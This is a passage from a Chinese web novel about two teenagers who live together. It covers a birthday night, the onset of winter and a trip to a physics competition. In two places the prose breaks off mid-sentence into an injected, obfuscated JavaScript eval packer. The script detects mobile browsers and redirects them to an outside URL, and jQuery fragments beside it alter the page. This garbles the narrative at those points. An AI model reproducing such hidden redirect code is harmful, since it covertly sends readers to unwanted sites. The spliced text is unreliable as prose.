“有时会觉得再怎么围着你转,也总有照顾不到的时候,”桑群看着他,跟他分享自己的设计理念,“干脆也送年年一个黏黏好了,我不在的时候,它会替我陪着你。但这不是在未雨绸缪什么,这是爱的延伸。” 曾几何时,妈妈将团团送给他,说小熊会代替爸爸妈妈陪伴他。 但那份所谓的陪伴只是他竭尽心力的想象,是他咽下孤独与苦楚的自欺欺人。 而桑群同样送给他一份陪伴的礼物,却告诉他这不是某种替代,而是爱意的开疆拓土。 是爱他而送出的礼物,而不是送出礼物去爱他。 阮牧年张了张口,却不知道该说些什么,手上一紧,按了第三下。 音频沙沙了两下,依旧传出了桑群的声音,带着消除不掉的电磁声。 “十八岁生日快乐,年年。” 那道声音流淌出来,轻柔得像是某段浣溪调:“你在过去许下的愿望,今年都实现了。” 面前,桑群的脸庞染上昏灯的光晕,那双眼睛里清澈地倒映着他一个人的影子,唇边是只有他见过的温柔笑意。 这好像是他这些年难得的笑颜,比前不久运动会上、平日里逗他、好久之前某个早上的笑意还要深。 而他当着阮牧年的面,又说了一遍。 “十八岁生日快乐,年年。 “你在过去许下的愿望,今年都实现了。” 49. 49 阮牧年怔怔地看着眼前这幅场景,直到桑群的指节伸过来擦过他的脸颊,他才察觉到脸上温热湿润的触感。 “都说了不要哭,”指腹不厌其烦地替他抹去那些泪水,桑群垂着眼,语气无奈,“爱哭鬼。” 阮牧年吸了一下鼻子,哽咽道:“这怎么忍得住啊。” 桑群抽来两张纸覆在他脸上,让他自己按着,然后低头把沙发上乱放的礼物收拾到茶几上。 刚直起腰来,就被小寿星扑过来一把抱住。 他顺着惯性往后仰了仰头,自然地揽住怀中人的后背,一如儿时那般一下下顺着。 阮牧年胡乱地把眼睛压在对方肩膀上蹭了蹭,刚想说点什么煽情话,衣领上的小狗被压到,开始汪汪乱叫。 他顿了一下,抬起头:“……好破坏气氛啊。” 桑群轻笑:“不喜欢换掉就好了。” 阮牧年又捏了一下,发声器开始播放第二段音频,桑群低柔的声音非常好听,他用头发钻了钻桑群的肩颈,小声说:“喜欢这个。” ……乖成这样也太犯规了吧。 阮牧年又问:“它的名字叫黏黏吗?” “随便取的,你也可以改名。”桑群说。 “不改,就叫这个,”阮牧年倒在他肩膀上玩小狗,摸摸它柔软的耳朵和尾巴,“宝宝你是朵可爱的奶油小蛋糕……” 桑群差点以为自己听错了:“宝什么?” “诶,你有没有发现,”阮牧年忽然把小狗举起来,“它和宝宝有点像哦!” 桑群:“……” 不是,你才发现吗? 虽说他一开始有这个礼物雏形的时候,还没见过隔壁那条小狗,但后面正式定型还是稍微采取了一下白土松的形象。 毕竟要对阮牧年猫狗塑,黏人的白色小狗好像是最合适的。 桑群看了他一眼,毫不设防躺在别人怀里露肚皮打滚的样子,只能是对主人忠诚又喜爱的小狗了。 伸出手指挠了挠对方的下巴,桑群问:“喜欢吗。” “超——级喜欢!”阮牧年稍微坐直了一点,“桑桑,你就像传说中的那种传奇设计师,永远不会灵感干涸,总是能给出让人惊喜的作品……” 桑群嗤笑:“哪儿有那么夸张。” 他并不是万能的,也有想不出礼物的时候。有一年,他只能送出一小块巧克力蛋糕和一个空荡荡的蓝色盒子,非常沮丧地告诉阮牧年自己没有准备好他的礼物。 阮牧年却说:“没有吗?盒子里装的不就是你送给我的礼物吗?” 桑群难过地说:“那里面是空的。” “可只要我不打开,只要我相信你,”阮牧年这样笑着告诉他,“那里面就躺着最好的生日礼物啊。桑群,我很喜欢这个礼物。” 所以从来不只是他一人耗尽心力,没有阮牧年的信任和反馈,就没有源源不断的灵感。 桑群伸出手摸了摸他的头:“喜欢就好。” 阮牧年不自觉地顺着他的动作晃了晃脑袋,然后被一把掐住了脸蛋,疑惑地歪了歪头:“嗯?” “被附体了吗,”桑群看着他忍不住手,又挠了挠他的下巴,“小狗似的。” 阮牧年问:“嗷,那你是我的主人吗?” 桑群叹了口气:“我不是主人,我只是个铲屎官。” 阮牧年嘻嘻笑了起来。 见他玩得差不多了,桑群又撸了一会儿年年小狗,情不自禁过来在他鼻尖上吻了吻,然后道:“吃蛋糕吧。” 桌边放着纸盘子和塑料刀叉,桑群拆开包装拿了出来,正准备把蛋糕刀递给阮牧年,却见对方正盘腿抓着脚踝发愣。 桑群喊了他一声:“年年?” 阮牧年回了神,接过他手里的塑料刀:“啊,切蛋糕是嘛……” 桑群看他:“你怎么了?” “没,”阮牧年低头专注地切下四块整齐的蛋糕,“盘子给我吧。” 今天的生日比较特殊,桑群特地将蛋糕做大了一些,吃不完还可以放进冰箱留到明早吃。 阮牧年装好两块蛋糕,又伸手去掏塑料叉子。 捞了半天也没捞着,桑群看不下去过去捉住他的手背,想让他拿开手自己来。 结果阮牧年刚被他抓住,就下意识想要抽开。 桑群皱眉:“到底怎么了?” “我、我……”阮牧年眼神躲闪,咬了咬下唇,“没什么……嗷!你干嘛!” 桑群捏着他的下巴,语气强硬:“不要咬。” 阮牧年松开自己的齿关,双手把桑群的手拽了下来,包在掌心,撇嘴道:“你,你不要老是这样……” 桑群没明白:“哪样?” “就你刚才……那样,”阮牧年耸了耸鼻子,低着头说,“还有捏下巴,什么的。” 桑群闻言一怔,刚才?是了,他刚刚好像……亲了阮牧年的鼻尖。 完全是无意识的行为,被当事人提起他才恍然意识到自己的举动,并且……感到迟来的尴尬。 桑群:“我……” “我知道是我太敏感了,”阮牧年低声说,“但就像你一样,我也没有做好准备面对那些……东西。这样的举动会让我联想到它们,桑群,我不想扫兴的。” 他拢着桑群的手裹紧,将双手抵在额心,像一个小心翼翼又真挚的抱歉。 桑群没说话。 他明白阮牧年的意思。 他们是家人,有亲近的举动无可厚非,但不应该超过正常的距离。 兄弟之间搂搂腰搭搭肩,牵牵手抱一抱没什么,偶尔来个晚安吻也勉强能解释过去,只是更亲昵甚至暧昧的动作,比如亲吻鼻尖,是不合适的。 阮牧年有很明确的社交分区,朋友应该在哪一块,家人应该在哪一块,泾渭分明。 只有一个分区,情爱相关的部分,被他打上大大的红叉。 是他的禁区。 包括他父母的恋情。 甚至有的时候,他会分不清爱和爱情,对桑群的某些话或者举动产生避让。 譬如此刻。 若是放在以前,桑群满眼心疼地便也答应了,又不是什么过分的要求。 只是现在,他心里有点不虞。 阮牧年逃避喜欢,逃避爱,结果自己缺乏安全感的时候什么都想要,牵手互动拥抱,等到别人主动亲近他,却要被他避让三尺。 既要又要的烦人精。 他到底知不知道自己很可爱?勾得别人忍不了了,又理直气壮地说些划清界限的鬼话。 讨人厌的家伙。 桑群不爽地磨了磨后齿。 “知道了。”他用另一只手摸了摸那颗脑袋。 知道个屁。 为什么非要喜欢阮牧年这种人?酸的苦的咽到最后,发现只能自己气自己。 阮牧年小心地睁开一只眼瞥他:“你不要生气……” 他敢吗? 桑群揪了一把他的头发:“你还吃不吃蛋糕了?” “啊!”阮牧年连忙松手,护住了自己的脑袋,“你不要扯头发啊,秃了怎么办?” 秃了就只有他要了。 “你懂什么,秃头是新风尚。”桑群开口说。 “下个世纪的新风尚吧,”阮牧年坚决维护自己茂密的头发,“我就要当旧时代风骚。” 桑群:“蛋糕要化了。” “不会吧,巧克力这么不耐热吗,”阮牧年探头看了眼蛋糕,“我突然想吃冰淇淋蛋糕了。” “等下个十八年吧。” “啊?明年不行吗?” “明年你不一定有蛋糕吃。” “别啊,桑桑我错了,你不要跟一朵小蛋糕计较。” “……你到底天天都在看什么?” “我咋了?” “你把自己比喻成小蛋糕?” “什么,我是说你放过生日蛋糕啊,它们是无辜的!” “……哦。” “应该是你天天在看什么吧,为什么会理解成那种东西?” “看你。耳濡目染。” “我才不是那样的人!” “你就是。” “你这是狡辩,乱甩黑锅。” “那你就是负隅顽抗。” “你拉人下水!” “我求你快吃蛋糕吧,真要化了。” “我吃着呢!你先歇一歇自己的嘴。” “那你吃得不认真啊,内层什么馅?” “呃。” 就在阮牧年认真查看蛋糕馅儿的时候,脸颊传来粘腻的触感。 他愣了一下,顿时暴起:“桑群!” 桑群已经端着蛋糕闪进厨房,还没来得及关门,就被阮牧年抓住机会钻进来,一巴掌糊他脸上。 “靠,”桑群忍不住骂了一句,“你过分了吧,玩这么大?” 比起阮牧年脸上一根手指抹过的白色奶油,桑群脸上则是巴掌大的巧克力涂层。 阮牧年得意道:“谁叫你偷袭。” 桑群眯了眯眼:“你过来。” “才不,”阮牧年吐了吐舌头,“走啦。” 走什么走,没完呢。桑群一把扯过他,一团不知什么东西粘到了他胳膊上。 “嗷!”阮牧年连忙撤开一步,“这什么?” “粘胶。”桑群说。 阮牧年脸色僵硬。 “墙灰。”桑群又说。 阮牧年看上去想跟他打一架。 在脖子也变成巧克力味的之前,桑群终于松口说了实话:“是黄油。” “你更讨厌,抹胳膊上脏死了,”阮牧年皱着眉说,“罚你今天专项负责这条胳膊的清洁……” 桑群别过头:“自己洗。” “为什么?”阮牧年问。 桑群给自己找了个理由:“不想闻你那浑身酒气。” “我身上有酒气?”阮牧年震惊地低头嗅来嗅去,“怎么可能?” 果然是小狗,桑群推了他一把:“你要学会自力更生。” 阮牧年扒着浴室门:“我们好久没一起洗澡了。” “你是婴儿吗,下池还带监护救生员?” “你更喜欢泡的吗?”阮牧年思索起来,“要不改天看个浴缸……” “省点钱吧,”桑群啧了一声,“攒好你的老婆本。” 糟糕。 阮牧年的眼神瞬间不对劲了。 “我是说……棺材本。”桑群艰难地找补道。 阮牧年一把拉过浴帘,声音闷在浴室内:“……自己洗就自己洗。” 桑群扶额:“你还没脱衣服。” “我就喜欢穿衣服洗澡!”阮牧年在里面大声说。 行吧,桑群暂且由着他去了,到外面收拾出阮牧年的睡衣,给人叠好放到卫生间的架子上,再出来找自己的衣服。 自从发现自己的心思后,桑群的确没怎么跟阮牧年一块洗澡了,可以说是几乎没有。 他怕露馅。 今天还是对方的生日,让他闹点脾气总比两人真的产生嫌隙要好。 又把外面的凌乱收拾了一通,阮牧年不知什么时候偷偷钻进卧室了,桑群摇着头进去洗澡。 等把衣服洗好挂好,桑群一进卧室,就听见一声响亮的控诉:“桑群是大坏蛋!” 桑群:“……?” “你在干什么?”他问。 阮牧年手里拿着小狗,居然无师自通地撬开了里面的夹层,拿着发声器正在调试。 第一下:“乖,我在呢。” 第二下:“桑群是大坏蛋!” 阮牧年很满意这个结果,坐在床边直晃腿:“在骂你呢。” 桑群无语地合上门,刚要说些什么,就注意到对方光溜溜的两条腿空无一物。 “你拖鞋呢?”桑群问。 晃得正欢快的两条腿不由自主停住,接着阮牧年收起腿缓缓缩进被窝里,假装没听见,准备睡觉。 “扔哪儿去了?”桑群又问。 阮牧年用被子盖住半张脸,无辜道:“不知道啊。” 桑群被他气笑了:“等着。” “不等不等不等,”阮牧年闭上眼,小声说,“年年要睡觉了,啊,已经睡着啦。” 终于在茶几底下找到了失踪的拖鞋,桑群拎着鞋丢到床边,出去洗了个手,再回来直接关了电灯。 床上声称已经睡着的某人瞬间蠕动了一下。 “年年睡着了啊,”桑群在黑暗里开口,低声逗他,“那就不打扰了,我自己去沙发睡。” “等、等一下,”阮牧年连忙从被窝里伸出一条胳膊,“年年被噩梦惊醒了,发现身边空无一人,这可不行呀,要是有哪个善良的人陪陪年年就好了……” 桑群轻哼一声:“夜深人静,只有团团愿意留下。” “团团是熊不是人呀,”阮牧年说,“求求哪个好心人驻足片刻吧。” 桑群:“哦,片刻。” 阮牧年连忙改口:“整晚,整晚。” 桑群没再说话,从另一侧爬上床。 还没躺好就被某只八爪鱼缠住,在耳边絮絮叨叨:“谢谢你好心人,感恩的心感谢有你……” 桑群拽了一把他扣在自己后腰的胳膊:“躺好。” 阮牧年把手臂抽出来,指腹轻轻擦过因为后衣摆蹭起而没遮住的肌肤,有点痒。 桑群忍了一下,没忍住,拎起他另一条一直拽着自己睡衣下摆的手:“你是要把我扒了吗?” 阮牧年无辜:“我没用力啊。” 桑群:“松手。” 阮牧年:“呜。” 桑群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356327|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻过身,按着人的肩膀重新调整了一个不会压到手的姿势,抬手搭在阮牧年后背:“就这样,别乱动。” 阮牧年不满道:“我要抱。” 桑群:“……我这不是搂着吗。” 阮牧年坚持:“搂和抱不一样。” 桑群:“啧。” 被窝里进行了一番移山倒海的整改,重新缠住桑群人形抱枕的阮牧年满意地喟叹了一声。 桑群:“……你抱归抱,缠我腿干什么。拿开。” 阮牧年:“你说什么呀?年年听不懂哦,睡着了呼噜呼噜。” 桑群:“……” 又来了,只听自己爱听的。 可惜生日的夜晚,家人就应该抱在一起睡觉,他没借口逃跑。 腿上是另一个人的体温,腰被缠得紧紧的,一低头就能碰到和自己同款洗发水味儿的头发。 阮牧年埋在他胸口,装模作样地打着小呼噜。 桑群抿了抿唇,伸出手去捏他的鼻子:“假不假?” 阮牧年闷着声道:“唔,要憋坏惹。” 桑群在他下巴上勾了一下,赶紧收回手,怕自己又忍不住动手动脚。 “赶紧睡吧,”桑群闭上眼,“晚安。” 阮牧年却问:“没有睡前故事吗?” ……不要晚安吻,来要睡前故事了吗。 啧。 桑群无语:“多大了,还听睡前故事?” “1岁,还是嗷嗷待哺的年纪呢。” “你已经是哥哥了。” “我是宝宝,是年年。” “长不大的小孩。” “就要这样呢。你快讲。” “啧,很久很久以前……” “咦,俗套。” “你到底听不听?” “听听听,好久好久以前,发生了什么呢?” “很久以前……” 低柔的话音在卧室响起,温馨的故事为这个夜晚落下最后一幕。 十月的末旬匆匆带来一阵秋意,萧瑟未尽,凛冬已至。 第一场北风刮来的时候,大多数人还毫无防备地穿着单薄的秋衣甚至短袖。 “我们这里真的有秋天吗?”刚一进门,阮牧年就忍不住打了个喷嚏。 “早上不是叫你穿外套了吗?还嫌热。”桑群坐在沙发里说。 “破天气每次都偷袭我啊啊……啊嚏!” 阮牧年捂住脸,原地缓了一会儿才跑到桑群面前,哭丧着脸问:“我是不是被冻伤了啊?我觉得我现在满脸通红,眼皮热热的。” “没,”桑群看了他一眼,说,“这几天衣服穿好就不会,怕吹风可以戴个口罩。” 阮牧年揉着鼻子:“我现在不能感冒啊,竞赛就快开始了。” 桑群:“那就乖乖听我的话。” 阮牧年点头:“都靠你了,生活大师桑桑。” 在专属日常护理师的安排下,阮牧年顺利扛过接下来几天的不规律降温。 走廊里偶遇一班的前同学,对方正打着喷嚏,扭头惊疑不定地看着他:“牧年?” 阮牧年点点头:“嗨。” “你怎么裹成粽子了?”那人吃惊。 一哥不是向来只要风度不要温度的吗?他去年一整个冬天就没见过对方穿羽绒服,最冷的时候也就一件毛衣一件校服外套,依旧跟人谈笑风生。 “保暖,”阮牧年郑重其事道,“你也要多穿点呀,不要感冒了。” “哦哦。”对方点着头,一脸恍惚走了。 回到教室,刘嘉正抓着头想压轴题,瞥见他扭过身子低低叫了一声:“诶,牧年。” 阮牧年坐下:“咋了。” “你这围巾哪儿买的啊?做工好好的样子,”刘嘉羡慕地看着他,“我家的围巾全是大姨大妈款,姹紫嫣红的。我也想要一条你这样的。” 阮牧年摸了摸这条围巾:“啊,你说这个啊,不是买的。” 刘嘉立马瞪大眼睛:“谁送的?!” 哪个小姑娘有这手艺? “我哥送我的,”阮牧年笑了笑,递出尾端给他看,“很好看吧?里面还有我名字,你摸摸。” 刘嘉边摸边惊叹:“我靠,那你哥很厉害啊……” 他哥趴在旁边,听到这话没忍住换了个方向,头朝外继续睡。 刘嘉同桌一边奋笔疾书一边加入话题:“我就说牧年一看就是家里从小宠到大的吧。” “确实,”刘嘉点头,“而六爷一看就是家里的哥哥。” 六爷:“……” 他没惹。 “他睡觉呢,”阮牧年竖起食指嘘了一声,“最近太辛苦了。” 这事刘嘉知道,前不久的周测里,六爷的物理成绩居然超过了他。 一定是学习得太累了。 至于阮牧年的贴心……身为前桌他已经见怪不怪了,比起开学时担心他们打起来的忐忑,他现在早就默认这两人发展成了友爱互助的好兄弟。 虽然可能嘴上还是不太合。 趴了一会儿,上课铃响起,桑群一脸怨气地爬起来。 最近确实缺觉。 但不是自己的原因。 而是阮牧年。 竞赛的时间定在十一月中旬,阮牧年最近很多自习课都跑去培优,做完当天作业就开始写他那本不知哪里来的题集,一写就是一晚上。 桑群在卧室睡,他就在外面书桌写;桑群在沙发睡,他就跑卧室里写。 有天晚上桑群实在睡不着,爬起来发现外面桌上灯还亮着。 他皱着眉把那本题集抽走:“都两点了,你到底睡不睡?” “啊,等下,”阮牧年一愣,抬起胳膊要拿回来,“很快的,你等我把那条曲线斜率算出来……” 桑群冷着脸:“滚去睡觉。” 阮牧年被他按在椅子上够不到,只好抓着桑群的衣摆卖可怜:“就这一题,算完我就去睡。” “你一题要算半小时,”桑群皱着眉,态度很强硬,“又不是明天高考,赶紧去睡觉。” 阮牧年耷拉下脑袋:“噢。” 就这样,他有时晚上根本睡不安稳,没一会儿就会醒来,然后逮到某只偷偷熬夜的小耗子。 半夜没醒的晚上,都不知道耗子几点睡。 更可恨的是,晚上入眠困难他困得直不起腰,而阮牧年天天熬夜还能精神抖擞地听课。 这就是学霸的自我修养吗。 佩服。谢邀。 “我可能下周四早上要去……”阮牧年翻着信息跟桑群报备。 桑群头也没抬:“我送你。” 阮牧年愣了愣:“学校的大巴会送到动车站。” “我知道,”桑群说,“我是说送行,不是运送。” 阮牧年笑了笑:“好。” 50. 50 或许是为了弥补秋天太短暂的遗憾,今年入冬没多久就下起了雨。 南方冬雨胜冬雪,空气中弥漫着一股湿冷的气息,从各种缝隙钻进人身上。 一出校门,拐进小巷,阮牧年就开始发抖,抖进家里。 “冷冷冷冷冷……桑群?你在吗?”他咬着牙哆嗦道。 “来了。”桑群的声音从卧室传来。 他走出来,怀里抱着救星。 阮牧年连忙扑上去,紧紧抱住他。 “哇太好了,真暖和……”阮牧年赶紧把双手放进桑群已经捂热的口袋,两人肚皮之间夹着刚充好电的暖手宝,“外面又刮风又下雨的,我都怀疑打不打伞根本没区别。” 桑群一手托着暖手宝,一手摸了摸他的头发:“湿了,去洗个头吧。” “啊,可是下午还要上课。”阮牧年说。 “只洗头,我给你洗。”桑群道。 “好哦。”阮牧年笑起来, 桑群单手给他解开围巾,最近天冷,阮牧年出门几乎不露脖子,一直戴着。 指节擦过对方的脸颊,他顺手摸了摸,有点冷硬,便整只手掌捂上去。 “嗯好舒服,”阮牧年闭上眼,“另一边脸也要。” 桑群:“……这个暖手宝没有自动悬浮功能。” 阮牧年:“我来我来。” 他插在桑群口袋里的两只手从里面翻出来,托住了暖手宝,舒服地蹭了蹭。 桑群叹了口气,双手捂住对方的脸,过了一会儿又用力往里按了一下。 “唔,”阮牧年的脸被他按成了长方形,嘴巴嘟起来,“你干嘛。” 桑群变换方向,横着一手捂额头,一手捂嘴。 阮牧年:“唔???” 掌心里的嘴唇一直在动,似乎想说话,桑群捂紧了一点,道:“暖脸呢,别乱动。” 阮牧年踩了他一脚。 桑群没移开手。 阮牧年开始摇头。 桑群按得很稳。 阮牧年无计可施,伸出舌头狠狠顶了他一下。 桑群:“……” 虽然阮牧年很努力地在反抗,但因为桑群按得很牢固,所以那触感更像对方轻轻舔了他一下,又湿又软。 桑群撤开了手:“你……” “你干嘛呀!”阮牧年眼尾泛红,满脸委屈地看着他,“都捂到我鼻子了,要憋坏了。” 桑群:“……你不早说。” 阮牧年控诉:“我也想说啊!” 呃。 好吧,桑群败下阵来:“下次不会了。” “哼,”阮牧年发泄完不满,又抬起脸,“还要。” ……简直拿他没办法。 周四清晨没出太阳,也没有下雨,地面上还残留着一些水坑,有一股淡淡的泥土味。 阮牧年靠在卫生间门口,说:“你实在困的话,可以不用来送我的。” 桑群正闭着眼刷牙,吐掉水后原地静止了几秒,才艰难地撑开眼皮,抬手往他脸上捏了一把:“醒都醒了。” 话虽如此,但挺勉强的。 阮牧年只好说:“我去给你拿早餐。” 桑群:“带去学校吧,先送你。” 其实这很没必要,从出租屋到学校操场不过几分钟,大巴就停在那里,而教学楼却在另一个方向。 睡到平时起床的点,吃完早饭再去教室,才是最好的选择。 但桑群知道,这次竞赛考场在隔壁市,至少要走两天才能回来,阮牧年还没出过这样的远门。 不坚持送他,胆小鬼又要不安了。 阮牧年虽然嘴上说着要不算了,但从没对他的坚持继续推脱。 多云的早上,吹过的北风里都带着冷雨的味道。 桑群替阮牧年系好围巾,重新确认了一遍行李,然后推开屋门。 “好冷。”一走出去,阮牧年就缩进了围巾里。 “那边更冷,该穿的衣服一定要穿,出门在外不要懒,有什么收拾不好的给我发消息……”桑群拖着他的行李箱,边走边道。 “知道啦知道啦,”阮牧年把手塞进外套兜里,吸了吸鼻子,呼出去一片白气,“哇,桑群你看。” 桑群开口,面前也有白气:“看到了。” “唉,原来已经这么冷了吗……”阮牧年往围巾里蹭了蹭,“你说,会不会下雪啊。” 桑群往他后背托了一把,纠正某人歪七扭八的行走路线,然后道:“不知道。” 南区地势不高,又是城市最南,这些年基本没下过雪。 而其他地方,比如东区北部,就会下雪。 “你喜欢下雪吗?”阮牧年又问。 “还行。”桑群说。 “你知道吗,A大有一条梧桐道,下雪的时候走在那上面就好像进入了童话世界,”阮牧年转过身,看着他背手倒着走,“而且它就在东区。” 桑群挑了挑眉:“你想考那里?” “嗯——”阮牧年却拉了一个长音,“也许吧,又或者到时候会有更心仪的学校。” 桑群问得有点艰难:“没想过……出市吗?或者去更好的省份。” 阮牧年却问:“你想过吗?” 桑群抿了抿唇:“没。” 他们家的贷款还没还清,妈妈的工厂不可能搬迁,他自然不能离南区太远。 而且以他现在的成绩,根本考不上东区的A大,更别说去其他地方。 至于A大……也只是本市最好的大学而已。 阮牧年已经被那个小小的杂物间困了这么多年,应该飞去更远更辽阔的地方。 而那时候,他们或许要面对分别。 阮牧年却只是对着他笑,重新转头,语气轻快地说起别的东西:“哎,听说隔壁的红油抄手特别好吃,我要去偷师。” 桑群顿了顿才接住他的话:“人家肯定有秘制调料。” “说不定我能尝出来呢?”阮牧年眯着眼想象了一会儿,“你喜欢什么馅儿的?” “都行,你去尝个最好吃的回来做。”桑群说。 阮牧年点点头:“好呀。” 大巴就在不远处,时间还早,到的人不多,桑群把拖杆转交给阮牧年,第一次有了种送儿千里赴学的忧愁。 眼见就要到操场,桑群纠结了许久,才低声问了句:“要不要抱一下?” “嗯?”阮牧年回头看他,笑了笑,“在学校里呢。没事,我都十八岁了。” 桑群一怔。 这家伙总在他面前撒娇,害得他老是忘记对方其实大他几个月。 但心里还是会担忧。 也会不舍。 难道其实是他更离不开阮牧年吗? 桑群在操场边的小道尽头停住脚步,他只能送到这里:“注意安全。” 阮牧年在他前面几步的地方回过身来,这条小道并不平坦,桑群的位置地势更低些,显得阮牧年比他高出些许,那双眼睛看过来时,眉睫自然微垂。 “你也是啊,”阮牧年浅笑地看着他,“睡不着的时候就给我打电话。” 桑群唇角微压:“你少熬夜我就谢天谢地了。” “这段时间是例外啦,”阮牧年弯了弯眼睛,“那……我走了。” 桑群点头:“再见。” 阮牧年盯着他,半天没说话。 桑群纳闷:“怎么了?” “没,我刚刚用眼神跟你拥抱了一下,”阮牧年这才又笑起来,那双灵动的眸里映着晨穹流云,“这下真的要走啦,你快回教室吃早餐吧。过两天见,桑群。” 桑群拎着早餐袋的手指蜷了蜷:“知道了。” 阮牧年拖着行李箱走远了,桑群在原地站了一会儿,转身往教学楼走去,快进入楼道的时候才后知后觉地慢下脚步,抬手摸上自己的耳尖。 发烫的。 比手里的早点还要烫手。 他抿了抿唇,飞快上楼。 用目光拥抱什么的……这家伙参加的怎么是物理竞赛呢?应该是语文。 另一边,还不知道自己的竞赛科目被某人擅自更换的阮牧年找到了接待老师,在对方的帮助下放好行李,找了个位置坐下。 其他参加竞赛的同学陆续上车。 随着发车时间临近,阮牧年看着窗外逐渐明亮的天光,微微皱起眉。 好像有哪里不对劲。 学生们基本到齐,带队老师按年段点了名,确定全齐后告诉师傅可以发车了。 不对。 老师经过自己的时候,阮牧年拦了一下:“等等老师,名单是不是漏人了?高二1班的程抒晴同学还没来。” 这次负责带队的老师是其他年段的,阮牧年并不熟悉。听见他的疑问,老师只告诉他:“名单是没错的,你说的这位同学一开始就不在这上面,可能她后面放弃报名参赛了。” 阮牧年一愣,礼貌地谢过老师后,脸色有些发沉。 年段里的竞赛培优一直开到上周,上课时间基本是自习课,程抒晴从一开始就不常来,他还以为对方是课时冲突。 可结合现在的情况…… 对方可能早就打算放弃参加竞赛了。 为什么? 手机就放在书包里,但阮牧年没有立刻拿出来给她发消息,周四可是风纪检查最严的一天,没有人敢把手机带到学校。 他就算问了,也得不到回答。 入住酒店后,老师给了他们整顿行李的时间,跟阮牧年同住的都是高二的,大多是他一班二班的熟人,连互相认识的过程都省了。 一个一班的同学过来搭他的肩,先寒暄了几句,然后说:“对了牧年,早上那会儿你怎么回事啊?你跟抒晴的关系不是挺好的嘛,居然不知道她没报名的事吗?” 阮牧年神色黯淡下来:“……不知道。” “哎呀,你别担心,”看他这样子,再结合论坛上的传闻,那同学赶紧拍拍他的肩膀,道,“我听说她好像是报名了另一个竞赛,跟咱们这个时间挺近的,可能准备不过来所以放弃了其中一个……” “嗯,没事,”阮牧年冲他勉强笑了笑,“我就是……刚知道,没反应过来。” 那同学一脸深意地看着他,点头说着我懂我懂,又聊了几句才走开。 他懂了什么啊。 阮牧年默默叹了口气,到桌边从书包里掏出那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮牧年这才笑出来:“你真是……去哪儿吃?” “嗯……”程抒晴托着脸想了想,“我周六早上在购物广场附近有个补习,下课后去广场吃吧,可以吗?” 购物广场吗,好像就是上次他跟桑群拍照时去的那个。阮牧年应下来:“行。” 他又问:“你想吃什么?” “都行诶,”程抒晴拿筷子戳了戳餐盘里的青菜,忽然想到了什么,抬头道,“对了,西餐怎么样?我想起来前几天我表姐给过我几张优惠券,应该有双人套餐。” 西餐、优惠券。 阮牧年又想起了那家招牌花哨的牛排店,是他很多次望而止步的地方。 有点心动。 于是他点头:“好。” “那就这么定下来啦,”程抒晴笑着说,“我回去问我表姐要店址,到时候发给你,你请客哦。” “嗯,”阮牧年抬眼看了下时间,“那你先吃吧,我得回去做饭了。” “你做饭?”程抒晴惊讶地看着他,“一个人住吗?” “……不是,”阮牧年顿了顿说,“跟我哥住。” “那不应该是你哥做饭吗?”程抒晴问。 想了想桑群做的饭,阮牧年抽了抽嘴角:“那还是我做吧,至少能吃。” 程抒晴掩嘴笑了起来:“好羡慕你哥哦,我弟从来不让我省心。” 那也不是。 桑群还是经常操心他的。 比如他前两天刚回来的时候。 “你伞呢?”桑群皱眉看着他挂满雨珠的外套。 “呃,”阮牧年挠了挠脸,“有个同学没带伞我就先借他了……桑桑、桑群你别生气,听我说他回家比较远我回来反正就这几步路所以我就……嗷!” 阮牧年捂住额头,接着整个人被抓过去脱衣服,桑群冷着脸把他的外套丢进脏衣篓里,指着卫生间:“滚进去。” “知道啦。”阮牧年乖乖去洗澡。 等他出来,行李箱里的物品已经全部归位,湿衣服也洗好了挂在阳台,桑群从鞋架上拎出一双棉拖走过来。 阮牧年从他手里接过毛巾擦了擦脚,然后穿上毛绒绒的拖鞋,踩着跺了跺,冲桑群嘿嘿笑了两声。 桑群面无表情地看他:“去沙发上坐着。” “好哦。”阮牧年点头,水珠从湿漉漉的头发里甩出来。 桑群扯过另一条毛巾,盖到他脸上。 阮牧年从毛巾底下露出脸,到沙发上坐下。 桑群拿着电风吹出来,看着他忍不住骂了一声:“小懒蛋。” 吹风机隆隆响起,阮牧年小心地揪了揪桑群的衣摆,抬头冲他笑了笑:“辛苦你啦。” 桑群哼了一声,没再说话。 意思就是没那么生气了,但拉不下脸。 没事,他不是很要面子。 阮牧年脸扑进他怀里,蹭了蹭。 拨弄他头发的动作终于温柔下来。 51. 51 阮牧年刚在西餐厅门口站定,还没来得及确认程抒晴到了没,就被门口热情的店员缠住。 “先生几位?可以先进店看看我们的菜品,都是非常精致丰盛的哦~”店员笑容满面地看着他说。 阮牧年笑了笑:“两位。我先在外面等人……” “可以进去坐着等哦,我们也有餐前小食和饮品提供,到时候告诉您同伴座位号就可以了,”店员语速飞快,且全面地介绍道,“两位的话要不要看看我们店本季热销的双人套餐?您看这边的海报,我们的餐品是……” “呃,啊,嗯……” 阮牧年半天插不上一句话。 直到身后一道叫声拯救了他。 “表姐——” 程抒晴快步走过来,跟他们打招呼:“嗨,牧年!你也到了呀。” 店员终于停住了她的长篇演讲:“啊,抒晴,他就是你说的同学啊。” “嗯呐,他是隔壁班的物代,叫阮牧年,”程抒晴回头介绍两人,“牧年,这是我表姐,她在这里上班哦。” 阮牧年赶紧打招呼:“姐姐好。” “哎呦,早知道你是抒晴同学,我就不介绍那么一大串了。”表姐笑着叹了口气。 阮牧年笑笑:“我本来也想让你歇歇,没找着机会。” 程抒晴问:“表姐,我昨天找你预定的位置还在吗?” “在着呢,桌号17,”表姐指了指里面,“那边,快去吃饭吧。” “好嘞,谢谢表姐。” 